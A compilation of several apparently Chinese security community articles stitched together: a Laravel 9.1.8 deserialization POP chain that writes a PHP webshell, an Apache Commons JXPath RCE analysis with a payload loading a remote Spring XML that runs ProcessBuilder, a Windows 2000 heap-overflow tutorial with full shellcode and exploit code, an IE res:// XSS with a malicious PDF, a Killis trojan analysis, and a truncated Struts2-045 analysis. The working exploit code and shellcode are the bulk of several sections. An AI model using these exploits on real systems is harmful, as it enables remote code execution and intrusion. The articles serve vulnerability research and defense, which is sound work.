Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in (1) __destruct in Illuminate\Routing\PendingResourceRegistration.php .(2) register in Illuminate\Routing\PendingResourceRegistration.php.(3) __call in Faker\Generator.php . This poc bypasses __wakeup in Faker\Generator.php : https://inhann.top/2022/05/17/bypass_wakeup/
## 漏洞分析
根据漏洞信息的描述, 该条链子依旧是`ByPass`了`src/Faker/Generator.php`中的`__wakeup`方法.
漏洞分析逻辑如上文所述.
## POP Chain
<?php
namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "register";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Routing {
class PendingResourceRegistration {
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct() {
$this->registrar = new \Faker\Generator();
$this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->controller = "<?php phpinfo();system('calc');?>";
$this->options = 8;
}
}
}
namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["register"=>"file_put_contents"];
$this->h3rmesk1t = new \Illuminate\Routing\PendingResourceRegistration();
}
}
}
namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/([^\{]*\{)(.*)(s:49.*)(\})/","\\1\\3\\2\\4",serialize($pop));
echo base64_encode(str_replace("i:9999","R:2",$ser));
}
# 参考
* [CVE-2022-30778](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778)
* [CVE-2022-30779](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779)
* [A new way to bypass __wakeup() and build POP chain](https://inhann.top/2022/05/17/bypass_wakeup/)
* [PHP Internals Book SERIALIZATION](https://www.phpinternalsbook.com/php5/classes_objects/serialization.html) | 社区文章 |
**作者：xxhzz@星阑科技PortalLab
原文链接：<https://mp.weixin.qq.com/s/L1GyToB0pYaKua8FZi9tiw>**
## **项目介绍**
Apache Commons JXPath是美国阿帕奇（Apache）基金会的一种 XPath 1.0 的基于 Java 的实现。JXPath 为使用
XPath 语法遍历 JavaBeans、DOM 和其他类型的对象的图形提供了 API。
## **漏洞描述**
Apache Commons JXPath
存在安全漏洞，攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext类函数通过XPath表达式从类路径加载任何Java类，从而执行恶意代码。
## **利用范围**
Apache Commons JXpath <= 1.3
## **漏洞分析**
### **环境搭建**
使用github上POC进行分析复现<https://github.com/Warxim/CVE-2022-41852>
漏洞POC使用Spring框架，简单实现接受用户输入并使用它从Person类中检索指定的数据。
### **前置知识**
在漏洞分析之前，首先了解一下JXPath及用法（参考官网用户指南：<https://commons.apache.org/proper/commons-jxpath/users-guide.html>）
JXPath除了能够像XPatth一样能够访问XML文档各种元素之外，还能够读取和写入JavaBean的属性，获取和设置数组、集合、映射、透明容器、Servlet
中的各种上下文对象等元素。
JXPath 支持开箱即用的标准 XPath 函数。它还支持“标准”扩展函数（基本上是通往 Java 的桥梁），以及完全自定义的扩展函数。
### **代码分析**
JXPath支持自定义扩展函数，首先看一下PackageFunctions这个类
在org.apache.commons.jxpath.PackageFunctions#getFunction中，存在methodName.equals("new"）
这里实例化的xpath表达式设置为了xxx.new()，截取括号前作为方法名，如果调用new方法就被视为实例化，两个判断一个是实例化构造函数，另一个是静态方法。
往下分析，如果是实例化构造函数，在Spring框架中可通过加载远程配置实现命令执行，这里使用org.springframework.context.support.ClassPathXmlApplicationContext类，构造payload：
org.springframework.context.support.ClassPathXmlApplicationContext.new("<http://127.0.0.1:8001/test.xml>")
恶意的xml文件使用Spring-bean，设置init-method实现RCE
"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
在实例化之后，继续跟进会来到org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue
在获得了org.apache.commons.jxpath.Function对应的这个实例后，会调?具体的invoke实现。
最后在调用invoke实现Spring-bean加载，执行恶意代码。
Spring框架中还可以用org.apache.commons.jxpath.functions.MethodFunction这个类。
除了实例化构造函数，Spring框架加载恶意配置的利用之外。还能利用静态方法进行RCE，例如jndi、jdbc等，后续笔者也会进行补充和分析。
当然在官方介绍中说明，除了构造函数和使用静态方法，还介绍了一种调用。
此调用也可以直接利用getValue解析表达式。
### **漏洞复现**
在Spring中利用远程加载配置来命令执行。
构造test.xml
本地用python开启http服务，模拟远程加载。
成功命令执行。
## **修复建议**
目前官方已经停止更新，无修复版本。
## **参考材料**
1.<https://github.com/Warxim/CVE-2022-41852>
2.<https://commons.apache.org/proper/commons-jxpath/users-guide.html>
3.<https://github.com/advisories/GHSA-wrx5-rp7m-mm49>
* * * | 社区文章 |
## **1.0 DWORD SHOOT是什么捏？**
DWORD
SHOOT指能够向内存任意位置写入任意数据，1个WORD=4个bytes，即可以通过执行程序将4bytes的数据写入4bytes地址中，从而实现某种恶意操作。
是不是还不清晰咩？
emmm，通过下面这个完整的 **堆溢出利用例子** 进行理解，这个例子通过修改PEB中的同步函数指针指向达到利用的目的。
PC:win2000
工具:vc6.0，ollydbg
## **1.1 PEB的线程同步函数与DWORD**
在每个进程的 P.E.B 中都存放着一对同步函数指针，指向 RtlEnterCriticalSection()和
RtlLeaveCriticalSection()，并且在进程退出时会被 ExitProcess()调用。如果通过DWORD
SHOOT修改RtlEnterCriticalSection()或者RtlLeaveCriticalSection()（在
0x7FFDF024地址处）之一的指针指向Shellcode地址，那在进程退出时就会跳转到Shellcode位置并执行其里面的恶意代码。
## **1.2 堆分配原理**
这儿是重点，后面利用的理解要求这一块要懂哈。
在一个堆区中，有很多堆块，可以使用堆表管理这些堆块。堆表有空表和单表两种，本文实践内容涉及空表，所以讲解它。
空表一共被分为128条，每条空表可以管理数块堆块。问题来了，那分为128条堆表的目的是什么？
目的是管理不同大小的堆块，以加快操作系统的运行。
128条空表（空闲双向链表）标识为free[0]...........free[127]。其中，在free[n]中，空闲堆块的大小为n
_8(byte)。然而free[0]例外，为啥呢？想一想，总有比127_ 8(byte)大的堆块吧，他们就被此堆表管理。
所以，刚开始创建堆块后，就只有一个巨大的空闲堆块，它被free[0]管理，后续申请堆块时会从free[0]中割取小空间的堆块，当这些小堆块被释放成为空闲小堆块后就会根据大小依次存入free[1]-free[127]。会不会有点小混乱，混乱点在于众多大小相同堆块的管理。
强调一下空表（空白双向链表）的概念。每个空表其实是双向链表状的，就是说每个空表通过链表的结构管理大小一致或者类似大小的堆块们。如下图。
## **1.3 堆溢出原理**
下图展示了一个堆表上堆块的前后向指针位置。
下图是一个堆表，里面有空闲堆快。
当申请此链表上的第二个堆块时，此堆块被取出，链表结构会执行node->后向指针->前向指针=node->前向指针，如下图。
当启用DWORD
SHOOT时，第二个堆块的后向指针会被篡改指向一个地址，而且这个地址开头的前四个字节（前向指针占用4字节）即为Shellcode的首地址。如下图。
## **1.4 通过DWORD SHOOT修改RtlEnterCriticalSection ()**
经查询得知，RtlEnterCriticalSection()的函数指针是0x7FFDF020，那思路就是在堆中通过溢出的方法覆盖下一个待分配的空闲堆的前向指针和后向指针，其中，后向指针修改为0x7FFDF020，前向指针修改为Shellcode的地址。这样，依据1.1，进程退出执行ExitProcess()时会调用0x7FFDF020处的RtlEnterCriticalSection()函数，结合1.3可知，此时0x7FFDF020处的四字节数据是Shellcode的地址，调用0x7FFDF020自然会到Shellcode代码入口处执行Shellcode啦。
## **1.5 动手实践**
代码：
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77F82060 此处地址需调试得出
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x30\x60\x40\x00\x20\xf0\xfd\x7f";//前四字节即为前向指针，指向Shellcode地址，此地址需调试得出；后四字节为后向指针，在此操作系统中固定不变
main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //中断进程，调试态堆管理策略会改变堆块的原生结构，所以加上此代码，这样分配完堆会使用调试器查看进程，就会避免程序检测使用调试堆管理策略，会看到原生的堆结构。
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
此代码执行后导致的溢出是：创建堆，申请堆块h1，大小200单元，将大小为0x200的Shellcode复制至h1。注意，这个时候已申请堆块后面紧挨着空闲堆块，其前向指针和后向指针均会被Shellcode巧妙地覆盖。当从此空闲堆块申请8字节空间时，后向指针被篡改指向的原RtlEnterCriticalSection()地址会存储Shellcode的地址，DWORD
SHOOT完毕。而堆溢出导致异常，进程退出时跳转到0x7FFDF020指向的地址，此地址由原 RtlEnterCriticalSection()
变为Shellcode入口地址，故执行了恶意代码。
**实践方面** ，将vc6.0的调试选项设置为ollydbg。
编译执行后，中断，ollydbg调试器接管进程。地址0x360680就是所有堆块的起始位置，已分配堆块在前，故前面的208字节是h1堆块（其实每个堆块有8字节的头部，但在堆块数据存取的操作中是透明的，所以对它不做深究），如下图。
单步执行程序，当执行完REP...时，就完成了Shellcode的溢出赋值操作。如下图。
分析前面的参数赋值和压栈操作，可知Shellcode入口地址为0x00406030，此时复现的同志如果发现数值不是这个就源代码Shellcode对应位置赋此值。如下图。
后向指针指向的就是RtlEnterCriticalSection()的函数指针0x7FFDF020，为了防止堆溢出异常执行后Shellcode本身代码调用错误的此函数，需要在Shellcode代码中重新对此函数指针赋值，赋为正确的函数入口地址，故此处需要查看正确的入口地址。在内存中查找0x7FFDF020存储的地址，发现是0x77F82060，用它更新源代码中Shellcode的前部代码。如下图。
至此，大家都有一个适用于自己电脑的Shellcode啦，此Shellcode的功能就是当产生堆溢出时会弹框。
注释掉__asm int 3，执行代码，哈哈，成功溢出。如下图。 | 社区文章 |
**Author: Heige(a.k.a Superhei) of KnownSec 404 Team
Date: 03/19/2019 **
### 1 `res://apds.dll/redirect.html` dom xss
[https://bugs.chromium.org/p/project-zero/issues/detail?id=1598&desc=5](https://bugs.chromium.org/p/project-zero/issues/detail?id=1598&desc=5) had reported an xss vulnerability in
`res://apds.dll/redirect.html`. And this vulnerability has not been fixed
until now.
This vulnerability is a typical dom xss vulnerability form the
`res://apds.dll/redirect.html` code:
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<script type="text/javascript">
var targetParamRegex = /[\?\&]target=([^\&\#]+)/i;
var targetResults = targetParamRegex.exec(window.location.search);
if (targetResults) {
window.location.replace(decodeURIComponent(targetResults[1]));
}
</script>
</head>
<body>
</body>
</html>
POC:
res://apds.dll/redirect.html?target=javascript:alert(1)
### 2 from `http://` domain to `res://` domain
Usually accessing `res://` resources via `http://` domain is not allowed. The
Javascript function `xfa.host.gotoURL()` in Adobe PDF can access multiple URLs
include `http(s)://` `file://` etc. Of course, in general, there will be
security tips when you open the PDF files.
But when we use `xfa.host.gotoURL()` to access `res://` or `http(s)://` by IE
Adobe's PDF ActiveX plugin :
xfa.host.gotoURL("res://apds.dll/redirect.html?target=javascript:alert(1);//");
There are no security alerts. and the xss payload "alert(1)" is executed.
POC:
http://xxxxxxx/r.pdf
r.pdf code:
%PDF-1.4
1 0 obj
<<>>
%endobj
2 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="a">
<pageSet/>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer
<<
/Root
<<
/Pages <<>>
/AcroForm
<<
/XFA 2 0 R
>>
/OpenAction
<<
/S/JavaScript
/JS(
xfa.host.gotoURL("res://apds.dll/redirect.html?target=javascript:alert(1);//");
)
>>
>>
>>
### 3 fixed?
Due to some security domain isolation of IE, the harm of `res://` domain xss
is limited. But I think Microsoft should actively fix the
`res://apds.dll/redirect.html` xss vulnerability, and Adobe should disable or
give corresponding security warnings when URL redirect,The world can be more
beautiful and harmonious!
### 4 Timeline
* October 04, 2018 Report it to Adobe PSIRT and MSRC
* October 05, 2018 Adobe tracking number PSIRT-8981.
* October 09, 2018 MSRC Case 47932 CRM:0461065793
* October 18, 2018 Adobe PSIRT has been investigating and still
* November 21, 2018 MSRC have completed our investigation and determined that the case doesn't meet the bar for immediate servicing in a security update.
* March 19, 2019 Public
* October 15,2019 Adobe fix it in the [APSB19-49](https://helpx.adobe.com/security/products/acrobat/apsb19-49.html "APSB19-49") update (CVE-2019-8160).
* * * | 社区文章 |
# 网络资源重污染：超过20家知名下载站植入Killis木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
Xcode编译器引发的苹果病毒大爆发事件还未平息,又一起严重的网络资源带毒事故出现在PC互联网上。
这是一个名为Killis(杀是)的驱动级木马,该木马覆盖国内二十余家知名下载站,通过各大下载站的下载器或各种热门资源传播,具有云控下发木马、带有数字签名、全功能流氓推广、破坏杀毒软件等特点。根据360安全卫士监测,最近10小时内,Killis木马已经攻击了50多万台电脑。
**Killis木马传播:下载站隐蔽推广**
下载站遍布暗雷的广告位诱导早已不是什么新鲜事了。但试问:即便是如同枪林弹雨中左躲右闪的士兵一样躲过了所有的“陷阱”,你就安全了么?
答案是否定的,因为Killis木马的源头就隐藏在一些知名下载站的真实下载地址中。
以国内某大型下载站为例,当用户点击一些资源的真实下载地址后,下载回来的首先是一个下载器([http://down10.zol.com.cn/zoldownload/W.P.S.4885.20.2394@81_114617.exe):](http://down10.zol.com.cn/zoldownload/W.P.S.4885.20.2394@81_114617.exe\):)
这个程序运行后,除了为用户下载原本需要的资源以外,它同时会向服务器请求一个推广列表:
Killis木马就在这时进入电脑。再看带有Killis木马推广行为的下载站列表,只要你在国内下载站下载文件,几乎无可避免会遇到Killis木马的侵袭,此木马背后产业链的流量控制能力由此可见一斑:
**网站名称**
**主站网址**
**恶意链接示例**
备注
网站名称
|
主站网址
|
恶意链接示例
|
备注
---|---|---|---
绿茶软件园
|
[http://www.33lc.com](http://www.33lc.com/)
|
http://xiazaiqi2.33lc.com/down/media%20player播放器@133_48306.exe
|
统一下载站
|
[http://www.3987.com](http://www.3987.com/)
|
http://xiazaiqi2.3987.com/down/Adobe%20Flash%20Player%2064位下载%20v19.0.0.162%20官方最新版@135_42151.exe
|
当游网
|
[http://www.3h3.com](http://www.3h3.com/)
|
http://url.3h3.com/down/欧洲卡车模拟2真实中国加油站及油价MOD@132_34852.exe
|
飞翔下载
|
[http://www.52z.com](http://www.52z.com/)
|
http://url.52z.com/down/QQ空间进入权限破解器@13_162077.exe
|
起点下载
|
[http://www.cncrk.com](http://www.cncrk.com/)
|
http://url.cncrk.com/down/语音自动生成器%20V1.0%20绿色免费版@25_70621.exe
|
星星软件站
|
[http://www.cnd8.com](http://www.cnd8.com/)
|
http://url.cnd8.com/down/通达oa2009破解版@128_639.exe
|
已失效
非凡软件站
|
[http://crsky.com](http://crsky.com/)
|
http://url.crsky.com/down/fyspw-v7.1@62_29616.exe
|
已失效
多多软件站
|
[http://www.ddooo.com](http://www.ddooo.com/)
|
http://url.ddooo.com/down/realtek+pcie+gbe+family+controller%28realtek网卡驱动%29+for+xp-vista-win7最新版@48_53648.exe
|
当下软件园
|
[http://www.downxia.com](http://www.downxia.com/)
|
http://url.downxia.com/down/音频文件转换精灵%20V2.0%20官方免费版@34_86930.exe
|
软件E线下载
|
[http://edowning.net](http://edowning.net/)
|
http://url.edowning.net/down/爱普生Epson+L1300驱动+for+xp-win7+免费版@16_82695.exe
|
华彩软件站
|
[http://huacolor.com](http://huacolor.com/)
|
http://url.huacolor.com/down/广联达G+工作台5.2.13.858官方版@35_103052.exe
|
软件盒子
|
[http://itopdog.cn](http://itopdog.cn/)
|
http://url.itopdog.cn/down/天正建筑(附注册机)@69_2692.exe
|
极速下载站
|
[http://www.jisuxz.com](http://www.jisuxz.com/)
|
http://url.jisuxz.com/down/亲淘@77_46622.exe
|
未来软件园
|
[http://www.orsoon.com](http://www.orsoon.com/)
|
http://url.orsoon.com/down/AIDA64%20Extreme%20Edition(硬件检测)@24_11647.exe
|
天空下载站
|
[http://www.skycn.com](http://www.skycn.com/)
|
http://down10.zol.com.cn/skycndownernew/zuma_20100606@83_965.exe
|
使用ZOL下载服务器
数码资源网
|
[http://www.smzy.com](http://www.smzy.com/)
|
http://url.smzy.com/down/Imatest (数码影像测试软件) v3.4 免费版@41_115257.exe
|
玩游戏网
|
[http://www.wanyx.com](http://www.wanyx.com/)
|
http://url.52lishi.com/down/红色警戒2:尤里的复仇%20无敌修改器(加三星)@54_18387.exe%EF%BC%89@54_18387.exe
|
XP系统之家
|
[http://www.xp510.com](http://www.xp510.com/)
|
http://xiazaiqi2.xp510.com/down/优酷客户端官方下载+v6.0.0.3261+绿色便携版@136_22757.exe
|
系统天堂
|
[http://xpgod.com](http://xpgod.com/)
|
http://xiazaiqi2.xpgod.com/down/一起作业下载桌面版2015最新版@134_19132.exe
|
中关村在线
|
[http://www.zol.com.cn](http://www.zol.com.cn/)
|
http://down10.zol.com.cn/zoldownload/W.P.S.4885.20.2394@81_114617.exe
|
太平洋下载
|
[http://www.pconline.com.cn](http://www.pconline.com.cn/)
|
http://dl-xzq.pconline.com.cn/down/五笔拼音输入法2015@131_359408.exe
|
华军软件园
|
[http://www.onlinedown.net](http://www.onlinedown.net/)
|
http://www.onlinedown.net/api/index2.php?ver=3.9.6&name=SopCast&id=41564&token=ed2ddad5bd3abafe40dde8eb3150e71c
|
**KILLIS木马分析:AV终结者+全功能流氓推广器**
Killis木马伪装成“传奇霸业”的端游客户端,并利用一些公司泄露的过期签名,为自己签发木马。而这个游戏客户端只是个幌子,木马真正的功能是将用户计算机做为一个刷量终端,不断的进行推广。此木马可以云控安装软件,安装插件,放桌面放快捷方式,改桌面快捷方式,改桌面图标,杀指定进程。Killis作为一个全功能的推广器隐藏在受害用户计算机中,并且还有一个杀进程驱动,用来结束多家杀软的进程,防止木马推广被拦截。
木马原始包:629c04c150ef632b098fe65cf3ff3b60
木马驱动,带有一个过期的签名:4f504c748025aa34d9c96d0e7f735004
Xuanyi Electronic (Shanghai) Co., Ltd.
被这个木马利用的签名列表:
Open Source Developer, 东莞市迈强电子科技有限公司
Luca Marcone
Baoji zhihengtaiye co.,ltd
Jiangsu innovation safety assessment Co., Ltd.
Wemade Entertainment co.,Ltd
Beijing Chunbai Technology Development Co., Ltd
Fuqing Yuntan Network Tech Co.,Ltd.
Guangzhou Kingteller Technology Co.,Ltd.
Shenzhen Liantian Technology Co., Ltd
Xuanyi Electronic (Shanghai) Co., Ltd.
用来做伪装的游戏安装包:
木马功能分析:驱动部分,是一个名为KILLIS的设备,用来负责查杀进程操作:
驱动打开进程与结束进程:
驱动pid查找结束进程:
Ring3部分,是一个下载推广器,内置了一批推广列表,通过Base64编码:
解码后发现的木马推广列表:
http://cd001.www.duba.net/duba/install/2011/ever/kinst_18_807.exe
http://cd001.www.duba.net/duba/install/2011/ever/kinst_18_807.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117109.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117110.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117111.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117112.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117113.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117114.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117257.exe
http://dlsw.br.baidu.com/ditui/zujian/Baidu_Setup_1.6.200.359_ftn_1050117258.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050103270.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050104230.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050104231.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050104232.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050104237.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050106262.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117109.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117110.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117111.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117112.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117113.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduAn.Setup.0528.4.0.0.8029_1050117114.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_2.14.2.46_sw-0050103270.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_2.14.2.46_sw-0050104237.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_2.14.2.46_sw-0050106262.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050104230.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050104231.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050104232.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117109.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117110.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117111.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117112.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117113.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117114.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117257.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduPinyinSetup_3.0.2.675_sw-0050117258.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050103270.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050104230.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050104231.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050104232.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050104237.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050106262.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050117109.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050117110.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050117112.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050117113.exe
http://dlsw.br.baidu.com/ditui/zujian/BaiduSd.Setup.3.0.0.4611.youqian_1050117114.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050104231.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117109.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117110.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117111.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117112.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117113.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117114.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117257.exe
http://dlsw.br.baidu.com/ditui/zujian/bdbrowserSetup-7.5.502.1781-ftn_1050117258.exe
http://down.7654.com/downloads/special/qqpcmgr/PCMgr_Setup_10_8_16208_227(123003700).exe
http://down.tqshopping.com/n3/mmt_90_3.exe
http://download.2345.cn/silence/2345Explorer_239153_silence.exe
http://download.2345.com/union_common/kwmusic_103398_240798_Silence.exe
http://download.suxiazai.com/for_down/2013/install1088203.exe
木马的云控打点信息,收集客户端的mac地址,系统信息等提交云端,云端下发推广列表给木马推广执行:
木马检查杀软进程,包括360、腾讯和金山的软件进程:
木马注册插件:
木马创建服务,并向设备发送消息:
**安全建议**
针对国内众多下载站遭Killis木马污染的情况,360安全中心已将此情况进行通报,提醒各网站加强对推广资源的审核和管控,以免对用户造成损失。同时360安全产品也会对下载网站推广木马的行为进行风险提示。
针对广大网友,建议尽量选择安全可靠的渠道进行下载。如果发现电脑自动安装了不请自来的软件,应及时全盘扫描杀毒,以防系统残留木马,对账号和数据安全造成更严重的风险。 | 社区文章 |
# 【漏洞分析】Struts2-045分析（CVE-2017-5638）
|
##### 译文声明
本文是翻译文章，文章来源：hezi@360GearTeam
译文仅供参考，具体内容表达以及含义原文为准。
****
传送门
[【漏洞分析】S2-045
原理初步分析（CVE-2017-5638）](http://bobao.360.cn/learning/detail/3574.html)
[【重大漏洞预警】Struts 2
远程代码执行漏洞（CVE-2017-5638）（含PoC）](http://bobao.360.cn/learning/detail/3571.html)
**漏洞简介**
漏洞名称：Struts2-045
漏洞类型：远程执行命令
漏洞等级：高危
漏洞原因：基于Jakarta Multipart
parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获，并对异常信息做了OGNL表达式处理。但在在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值，可通过精心构造附带OGNL表达式的URL导致远程代码执行[1]。
漏洞影响范围：Struts 2.3.5–Struts 2.3.31；Struts 2.5–Struts 2.5.10
建议修复方法：升级到Struts 2.3.32或者 Struts 2.5.10.1
**漏洞分析**
以下分析均基于struts2 2.3.24.1
通过官方说明可知漏洞发生在文件上传过程中。上传下载是一个常用功能，而Struts2本身并不提供上传解析器的，在org.apache.struts2包中，struts2向我们提供了以下三种方式支持文件上传。
本次漏洞之所以影响广泛，重要原因之一是因为本次出问题的模块是系统的默认提供的模块—Jakarta。Jakarta依赖于commons-fileupload和commons-io两个包，所以只要存在这两个包，就可以模拟文件上传。而在struts2提供的基本示例struts2_blank中，这两个包也是存在的。
另一个重要原因，就是Jakarta模块在处理文件请求的时候，会对异常信息进行OGNL表达式解析处理。这部分，通过调试的方式可以看的更清楚一些。
当struts2获取到请求的会进行分析，如图所示，当content_type不为空且content_type中包含multipart/form-data时，struts2处理为上传请求。这也是poc中为什么必须包含multipart/form-data的原因。
分析了如何模拟文件上传，现在看一下漏洞问题是如何产生的吧。如图，当解析器在处理请求时会进行异常判断。当文件过大或者发生其他错误时，都会调用到buildErrorMessage()。
漏洞就是由于异常处理错误引起。可以看到e现在的值如图。poc中content-type的内容全部都存储在detailMessage里。
进入该方法看一下，发现这里有官方的修改点(参考3)，也就是说，问题是从这里产生的。
